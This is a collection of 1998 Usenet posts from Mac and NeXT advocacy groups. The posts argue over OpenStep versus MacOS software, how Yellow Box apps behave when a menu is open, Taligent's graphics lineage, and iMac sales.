> >That doesn't contradict what I said: "... (without any scientific method
> >to back it up)". Raw observation without scientific method guiding it is
> >pretty useless.
>
> Double-blind studies are the way I would have begun. That, and a spectrum
> analysis of normal CDs compared to green CDs, to see if there are any
> obvious differences.
I believe George claimed that double blind studies were done.
As for spectrum analysis, you might do better to check error rates in the DAC.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Requirements for MacOS X Server on Intel....
Date: Tue, 25 Aug 1998 13:47:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ruf8n$tu6$1@nnrp1.dejanews.com>
References: <%EpE1.262$ej4.6075197@news.rdc1.mi.home.com>
In article <%EpE1.262$ej4.6075197@news.rdc1.mi.home.com>,
"David Fagan" <DaveF@CathedralRiver.com> wrote:
> Does anyone know what the hardware requirements of MacOS X Server is on
> Intel? Does it need a PCI graphics card? What kind of processor....how
> much RAM...etc...etc.... Thanks for any help.
>
Start with:
http://developer.apple.com/macosx/server/rhapdev/DR2_PC.html
-Ian
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 14:25:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ruhgv$3i0$1@lwnws01.ne.highway1.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net> <35e195df.0@news.depaul.edu> <Ey7J0r.Ev@T-FCN.Net> <6rtut5$css$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> Guys, doesn't this behavior totally make sense? Scroller management
> is handled by the application so, unless the application is
> multi-threaded, you can't scroll while the application is busy.
> The menu bar, OTOH, can be handled by the window server so you
> should be able to use it while the application is busy. But this
> would probably be very hard to implement for Carbon applications
> (because they expect to handle all the events related to themselves)
> and Apple decided to make the behavior consistent. BTW, can you
> still drag an applications window while it is busy? I think that
> doing that with carbon applications would be easier but still
> difficult.
Gosh I hope you're wrong on the reasons, but they do seem like ones apple
would employ. Christ, why don't they make YB apps bomb more often too, I
mean we wouldn't want them to appear better. And when YB apps die, we should
make sure they kill other apps too because we want to keep this behavior that
mac users have grown accustomed to. Christ, this might be the ultimate
stupidity in the custom over merit design heuristic employed by apple. On
second thought, I'm sure they can top that too. That would be such a
dingleberry thing to do. Sheash.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 14:27:34 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ruhkm$3i0$2@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com> <6rtu36$c2j$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> Most of the time it will be as good as the original code. And readability
Most ain't all.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com>
<gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <6rtuo3$cqu$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 14:47:18 GMT
In <6rtuo3$cqu$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> Why? The learning curve should only effect your productivity before you
reach
> it's top and getting there will take a fixed amount of time that is much
less
> than your total time using the system.
Depends entirely on your usage patterns. If you use a lot of programs,
this is indeed an issue to be concerned about. Also don't forget that using
any application is an ongoing learning process, you don't "know" everything
about an app the first time you use it and thus the required effort to
continue to pick up new tools is very much an issue as well.
In general the apps that tend to be easy to use are often quite powerful
too.
> There are also GUI mounter/unmounting tools that you can use. And automatic
> file association programs do exist. I don't use either of those because
making
> little scripts to do these tasks is far more convenient for me.
But sadly, making little scripts is well beyond the ability of the VAST
majority of the comuter using public. These utilities need to exist, and to
work well.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 14:51:32 GMT
In <6rtte4$bga$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> > one to BE productive (or to run such a study).
>
> This statement is clearly false, George. People are still using OpenStep
for
> buisness purposes because they find it to be more productive than any other
> environment. But even if this statement were true, you would still have to
> PROVE it for your original claim to be true. Why not retract the original
> claim and then restate it?
Well I use OpenStep and would not dream of going back to "pure" MacOS for
programming, but this statement overstates the case. I've looked at a lot of
OS software, and most of it is crap. There's some real gems, apps that are
simply untouchable anywhere else (Quantrix and Diagram come to mind - the
later until I do my release that is) but for the most part the software is
_very_ basic and not terribly clean. Basically I would never dream of using
OS as my desktop productivity system, at least not yet.
Maury
From: mteh@earthlink.net (Oliver Ming-Teh Sun)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Tue, 25 Aug 1998 09:53:09 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R2508980953090001@news.earthlink.net>
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net> <Pine.LNX.3.96.980822190305.1042G-100000@paule> <35dfa35f.0@news.depaul.edu> <35E07EF4.94CAEF85@flash.net> <m3btpazge7.fsf@renttu.lnet.lut.fi>
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In article <m3btpazge7.fsf@renttu.lnet.lut.fi>, Mika Yrjola
<myrjola@renttu.lnet.lut.fi> wrote:
>Norb <norbnospam@flash.net> writes:
>
>> Enough already with the PC has more games than Mac. Buy a fucking
>> Playstation or Nintendo 64 and play them on your 32" tv. Who would want
>> to play on a 17" monitor anyway? Nintendo 64 has way better pliability
>> than any PC.
>
>But if you like strategy, simulation or role-playing games, the
>consoles really aren't that hot choices for gaming. (although there
>are a few rpgs for consoles too.)
>
If you like strategy/simulation/role-playing games, buy Bungie's Myth.
It's available for Mac. Seriously.
>Mika
>--
>/-------------------------------------------------------------------------\
>I Fantasy, Sci-fi, Computers, Marillion, Oldfield, Vangelis, Clannad, Irc I
>I Odd Experiences, Worms, Tuna, Synths. See http://www.lut.fi/~myrjola/ I
>\-------------------------------------------------------------------------/
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net>
<6rtuqk$csg$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 14:57:22 GMT
In <6rtuqk$csg$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> > I tested this because I thought it would be odd. It is odd. CD
player's
> > clock continues to update for instance, but OmniWeb stops filling the
window.
> > I think there may be more to this.
>
> The clock updating is probably done as a different thread. Probably only
the
> event handling thread is suspended.
Hmmm. Is it possible that the event queue is being handled differently and
it's getting stuffed? Could it be something like that?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
Organization: none
References: <Ey7AxH.JG7@T-FCN.Net> <B2074F76-27D59@206.165.43.18>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 14:59:35 GMT
In <B2074F76-27D59@206.165.43.18> "Lawson English" wrote:
> Is this actually different from how OpenSTep operates?
Yup. I've never seen a menu block anything.
> I was under the
> impression that this was because of the single DPS context per app model
> that was being used.
That would really have no effect, the DPS engine only does drawing and is
MT'ed just like anything else. Holding down a menu does zippo to the tasking
model.
> Of course, a GX-like retained mode engine would be even better here, and
> I'm hopeful that YB will eventually get a Taligent-like library that allows
> pre-emptive multi-threading of the type that Eric King and I were talking
> about via some flavor of GX
The _taligent_ model? Lawson you should really learn a little programming
before putting this up as some paragon of graphics programming. Not only
does most of Taligent appear to be a direct rip off of OpenStep but from all
reports it was insanely slow.
> but right now, isn't it true that
> NeXTstep/OpenStep apps show this behavior (freezing of front process when
> menu is selected) as well as Rhapsody apps?
*sigh* No. Why don't you get a *(^$^$ OpenStep box?
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 25 Aug 1998 15:19:31 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rukm3$533$1@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Well I use OpenStep and would not dream of going back to "pure"
> MacOS for
> programming, but this statement overstates the case. I've looked
> at a lot of OS software, and most of it is crap. There's some
Most software on most platforms, if not all, is crap. Most software for
win/mac is crap. There are more crap developers using crappier tools on
win/mac to produce even more crap software. How much crap software exists on
a platform doesn't neccessitate that there isn't good software. The point is
we generally ignore the crap, unless we're new and looking through it all for
the first time. Most users don't think about crappy software on the mac/win
because after seeing it's crap, it's dismissed. Furthermore, I believe the
OPENSTEP dev environment makes it more difficult to produce software as
crappy as on other dev environments.
> real gems, apps that are simply untouchable anywhere else (Quantrix
> and Diagram come to mind - the later until I do my release that
> is) but for the most part the software is _very_ basic and not
> terribly clean. Basically I would never dream of using OS as my
> desktop productivity system, at least not yet.
Well, here are other apps that I think are best of breed or extremely
functional (that I've used) on the NeXT side of things. Vituoso,
Tailor.app, T2/3, FrameMaker (based on 3.x), StayInTouch, PencilMeIn,
TaskMaster, Concurrance, Mail.app (with enhancements), RadicalNews
(though I personally use Alexandra, less functions, nicer UI),
DataPhile, PixelMagician, Diagram, solidThinking.
That's pretty good general desktop coverage considering the amount
of time and developers that were in the market. And what makes the
environment more useful than going to say win/mac is the interaction
and interoperation in the OPENSTEP environment; the interaction
leverages the functionality of all the apps. As always, YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Patrick O'Neil <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 09:14:58 +0000
Organization: University of Utah - ACLIS
Message-ID: <35E28092.7C02@howard.genetics.utah.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>
<gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com>
<asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
<joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com>
<macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net> <gmgraves-1908980943000001@sf-usr1-40-168.dialup.slip.net>
<35db15d8.0@news.depaul.edu> <joe.ragosta-2008980850170001@wil76.dol.net> <6rhqvj$cuv$1@news.idiom.com>
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NNTP-Posting-Date: 25 Aug 1998 15:27:20 GMT
John C. Randolph wrote:
> -> > The iMac evidently is able to boot over a network, though
> -> > there's no boot server currently available. OSX/Server?
> ->
> -> Good guess.
> ->
> -> Although I haven't seen anything in any Apple documents that indicates
> -> that this capability is there. What would it require for Mac OS X Server
> -> to be able to do this? Anything special?
>
> Of course, the boot ROM needs to be able to boot from the ethernet.
>
> NeXTSTEP's been able to do this since at least 1989. I don't see any reason
> for that ability to go away in the transition to Mac OS X.
No ROM involved but OS/2 Warp Server combined with WSOD is able to boot
up over networks too. You can go to any PC anywhere, log in and get
YOUR personal desktop no matter where you are. There's nothing magic
about this that makes it exclusive to Macs.
patrick
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Tue, 25 Aug 1998 13:05:23 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35E2EECB.1118@bellatlantic.net>
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net> <Pine.LNX.3.96.980822190305.1042G-100000@paule> <35dfa35f.0@news.depaul.edu> <35E07EF4.94CAEF85@flash.net> <m3btpazge7.fsf@renttu.lnet.lut.fi>
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Norb <norbnospam@flash.net> writes:
>
> Enough already with the PC has more games than Mac. Buy a
> Playstation or Nintendo 64 and play them on your 32" tv.
to which Mika Yrjola replies:
>
> But if you like strategy, simulation or role-playing games,
> the consoles really aren't that hot choices for gaming.
networked multiplayer games are also not well addressed by
gaming consoles. I know that some consoles can be connected
into a small network, and allow a handfull (fewer than a
dozen) players to play in a game together, but with a PC or
a Mac you can take part in online games that have, literally,
hundereds of participants.
- Jeff Dutky
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 98 10:37:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2084454-15862@206.165.43.137>
References: <Ey92zD.G5L@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> The _taligent_ model? Lawson you should really learn a little
>programming
>before putting this up as some paragon of graphics programming. Not only
>does most of Taligent appear to be a direct rip off of OpenStep but from
all
>reports it was insanely slow.
Actually, Taligent graphics was a direct descendent of GX, and certainly
not of OpenStep. As to whether or not it was slow and why, you'd have to
track down some former Taligent engineers and ask.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 10:49:04 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
In article <6rtte4$bga$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> > one to BE productive (or to run such a study).
>
> This statement is clearly false, George. People are still using OpenStep for
> buisness purposes because they find it to be more productive than any other
> environment. But even if this statement were true, you would still have to
> PROVE it for your original claim to be true. Why not retract the original
> claim and then restate it?
Word is available for OpenStep? Excel? CorelDraw? Illustrator? Filemaker?
PowerPoint? If not, then a comparison can't be done. MacOS vs Win CAN be
done because of the number of productivity apps that are the same for both
systems. It gives one a basis for comparison. Not the same thing as comparing
Excel to some semi-custom spreadsheet on OpenStep.
You want it restated? OK I'll restate it. "Of the two useful operating systems
available to business today (Win95/98/NT and MacOS), MacOS has been found,
time and time again, to be the more productive for the average computer user.
The Mac ROI is higher, and the cost of ownership over the life of the computer
is appreciably lower."
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 18:01:35 GMT
Organization: Primenet (602)416-7000
Message-ID: <6ruu5v$ckb$1@nnrp02.primenet.com>
References: <Ey92zD.G5L@T-FCN.Net> <B2084454-15862@206.165.43.137>
Lawson English <english@primenet.com> wrote:
: Maury Markowitz <maury@remove_this.istar.ca> said:
: > The _taligent_ model? Lawson you should really learn a little
: >programming
: >before putting this up as some paragon of graphics programming. Not only
: >does most of Taligent appear to be a direct rip off of OpenStep but from
: all
: >reports it was insanely slow.
: Actually, Taligent graphics was a direct descendent of GX, and certainly
: not of OpenStep. As to whether or not it was slow and why, you'd have to
: track down some former Taligent engineers and ask.
And Java2D is a direct descendent of Taligent graphics, therefore ...
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey9Avn.K3A@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: jkheit@mediaone.net
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
<Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 17:50:10 GMT
In <6rukm3$533$1@lwnws01.ne.highway1.com> John Kheit wrote:
> Most software on most platforms, if not all, is crap.
Ok let me restate it, most applications on OpenStep have lousy interfaces,
tend not to follow rules, and have very little functionality. On other
platforms this is simply not true. While they may be crap in one way or
another, they are at least useful and typically powerful.
> win/mac is crap. There are more crap developers using crappier tools on
> win/mac to produce even more crap software. How much crap software exists
on
> a platform doesn't neccessitate that there isn't good software.
Then let me rephrase it that way too. While there is a lot of powerful
software under Mac and Win, there is very little under OpenStep. There's not
even a good ClarisWorks, this newsreader is "functional" (and it's the best
of them), mail readers are terribly lacking in functionality, etc.. There
are a few bright spots, but for the most part the productivity apps on
OpenStep are lacking to say the least.
> because after seeing it's crap, it's dismissed. Furthermore, I believe the
> OPENSTEP dev environment makes it more difficult to produce software as
> crappy as on other dev environments.
Ahhh, but it also makes it _easier_ too. Many of the hair-pulling features
I find in OpenStep applications exist apparently because the author was never
exposed to anything outside the Unix world. Most OS apps have a very "unixy"
flavour. This is why I hope my lack of a Unix background will be a good
thing, and if my experience with GlyphiX is any sign, it's working out well.
> That's pretty good general desktop coverage
When people think of desktop coverage they think of word processing,
spreadsheet, business graphics and simple database - and these days . Of
these the only one OpenStep currently supplies in any really superby useable
form is spreadsheets and business graphics. There is no reasonably midrange
WP (FrameMaker doesn't count, WPerfect is dead, WriteUp is fairly "lite").
There's nothing at all like FileMaker that I've seen. OmniWeb is pretty
excellent though.
Mail app is horrid. The interface is terrible (try opening two messages in
the same folder at the same time), the quoter basically doesn't work right
(no wrapping that really works), the MIME is unreadable for any other mailer,
there's no filtering, the address book is horrid etc. RadicalNews is
functional, but even minor things make it break (like long references lines)
it breaks threads for no apparent reason, and it follows the mail app
interface.
Basically it seems all apps on OpenStep fall into two rough groups. One
are the apps from Lighthouse (and their clones). Then there's everything
else. The everything else catagory seems to be populated largly by crud.
> of time and developers that were in the market. And what makes the
> environment more useful than going to say win/mac is the interaction
> and interoperation in the OPENSTEP environment; the interaction
> leverages the functionality of all the apps.
This would be overwhelming if there was a good app in every catagory. But
there isn't. Moreover the universality of this functionality has been muted
by poor integration - for instance I can't drag a text file into this window.
If I had all the time in the world I'd be addressing these issues one by
one, but as it is I'm on lunch now and I've been trying to get a good fix for
a single bug for two days. Grrrrr, fileWrappers BITE!!
Maury
Date: Tue, 25 Aug 1998 14:07:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <joe.ragosta-2508981407340001@wil66.dol.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net>
In article <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> Which brings me back to my (almost) first point - where is the
> announcement from apple that FileMaker has been either carbonized or
> yb'd? It looks like it's a bluebox app, and that's it. This isn't
> encouraging others to adopt "how easy can it be, apple hasn't done it?"
> (referring to both carbon and yellow box).
>
> Both developers and users are taking a wait and see attitude towards all
> of this because of past behavior, apple needs to counter this with
> aggressive adoption of the new technology (FileMaker, ClarisWorks,
> Emailer and any other app they have that they think wouldn't loose too
> much money), and aggressive marketing of it (start selling preorders of
> MacOSX for both the PPC and Intel). "This time we're coming out with a
> new OS and we mean it".
Apple has a history of this (slow adoption of their cool new technologies
in Claris apps). How long was OpenDoc out before Apple even announced that
it would be included in ClarisWorks? And I don't think they _ever_
announced that FileMaker would support OpenDoc.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <slrn6u6377.d5l.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <Ey92zD.G5L@T-FCN.Net> <B2084454-15862@206.165.43.137> <6ruu5v$ckb$1@nnrp02.primenet.com>
Date: Tue, 25 Aug 1998 19:12:23 GMT
>Lawson English <english@primenet.com> wrote:
>: Maury Markowitz <maury@remove_this.istar.ca> said:
>
>: > The _taligent_ model? Lawson you should really learn a little
>: >programming
>: >before putting this up as some paragon of graphics programming. Not only
>: >does most of Taligent appear to be a direct rip off of OpenStep but from
>: all
>: >reports it was insanely slow.
>
>: Actually, Taligent graphics was a direct descendent of GX, and certainly
>: not of OpenStep. As to whether or not it was slow and why, you'd have to
>: track down some former Taligent engineers and ask.
Yes, I believe that the actual graphics layer was rather different
than OpenStep's. Maury's comment I think though was that the look of Taligent
was a rip-off of the NeXTstep/OpenStep look, same for some of the internals.
And yes, it was desperately slow. It appears they managed to copy most of
everything, *except* OpenStep's good performance :-)
Mark
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Tue, 25 Aug 1998 18:30:35 GMT
Organization: HUH?
Message-ID: <35e30237.19136121@news.newsguy.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 25 Aug 1998 11:01:05 GMT, Christian Neuss
<neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
>There's an interesting aspect to the figures quoted in the press
>which I'd like to share with you:
>
>According to press reports Apple is building about 8000 iMacs a day,
>and around 13% of buyers are replacing Wintel machines. Well, provided
>Apple sells iMacs as fast as they can make them (which is probably
>the case), this means that Microsoft is losing customers. At a rate
>of over 1000 users every 24 hours for the US alone. Not bad for a
>'toy computer', I'd say. :-)
>
>Cheers.
>
>Chris
Not exactly true. Microsoft make a considerable amount of software for the
Mac. So, for every iMac that sells Microsoft has the opportunity to sell that
purchaser a product.
---------------------------------------------
Tom Elam
The New and Improved Family Home Page is at:
http://members.iquest.net/~telam/default.htm
The universe is not only stranger than we imagine,
it's stranger than we CAN imagine
J.B.S. Haldane
From: datamagik@usa.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Tue, 25 Aug 1998 19:44:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv469$ror$1@nnrp1.dejanews.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
In article <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> There's an interesting aspect to the figures quoted in the press
> which I'd like to share with you:
>
> According to press reports Apple is building about 8000 iMacs a day,
> and around 13% of buyers are replacing Wintel machines. Well, provided
> Apple sells iMacs as fast as they can make them (which is probably
> the case), this means that Microsoft is losing customers. At a rate
> of over 1000 users every 24 hours for the US alone. Not bad for a
> 'toy computer', I'd say. :-)
Hmmm. Just wait until the next generation "Pro" series hits market!!
Regards,
Jay Riley/Owner, DATAMAGIK
(vacationing "Down East")
PS- Oh the SHAME...I just realized I'm being forced to post this from a wintel
box running a lesser OS.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 98 11:30:37 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B208638D-8AE86@206.165.43.137>
References: <6ruu5v$ckb$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
John Jensen <jjens@primenet.com> said:
>: Actually, Taligent graphics was a direct descendent of GX, and certainly
>: not of OpenStep. As to whether or not it was slow and why, you'd have to
>: track down some former Taligent engineers and ask.
>
>And Java2D is a direct descendent of Taligent graphics, therefore ...
Not that I'm aware of. My understanding is that Java2D uses Taligent
typography, which is descended from GX's, but the overall structure is
still non-object-oriented, much less than GX's, letalone Taligent's.
Here's what Michael Peirce said on the subject in the GX-talk mailing
list:
[note that the URL appears to be broken]
++++++++
Date: 18 Feb 1998 12:41:33 -0500
From: Michael Peirce <mpeirce@peircesw.com>
Subject: Re: GX vs PS in Korea and Asia
>I just wanted to repeat here that the current plan is that GX typography
>is going to be deployed on both Rhapsody *and* Mac OS. By "deployed on
>Mac OS" I mean directly, not via Quickdraw GX. There should be more
>discussion of this at WWDC.
And I'll remind everyone that GX typography is alive and well in Java
too. In JDK 1.2, due out this summer, is Java 2D which contains a layout
system based on GX (by way of Taligent). Java 2D uses GX fonts (both Type
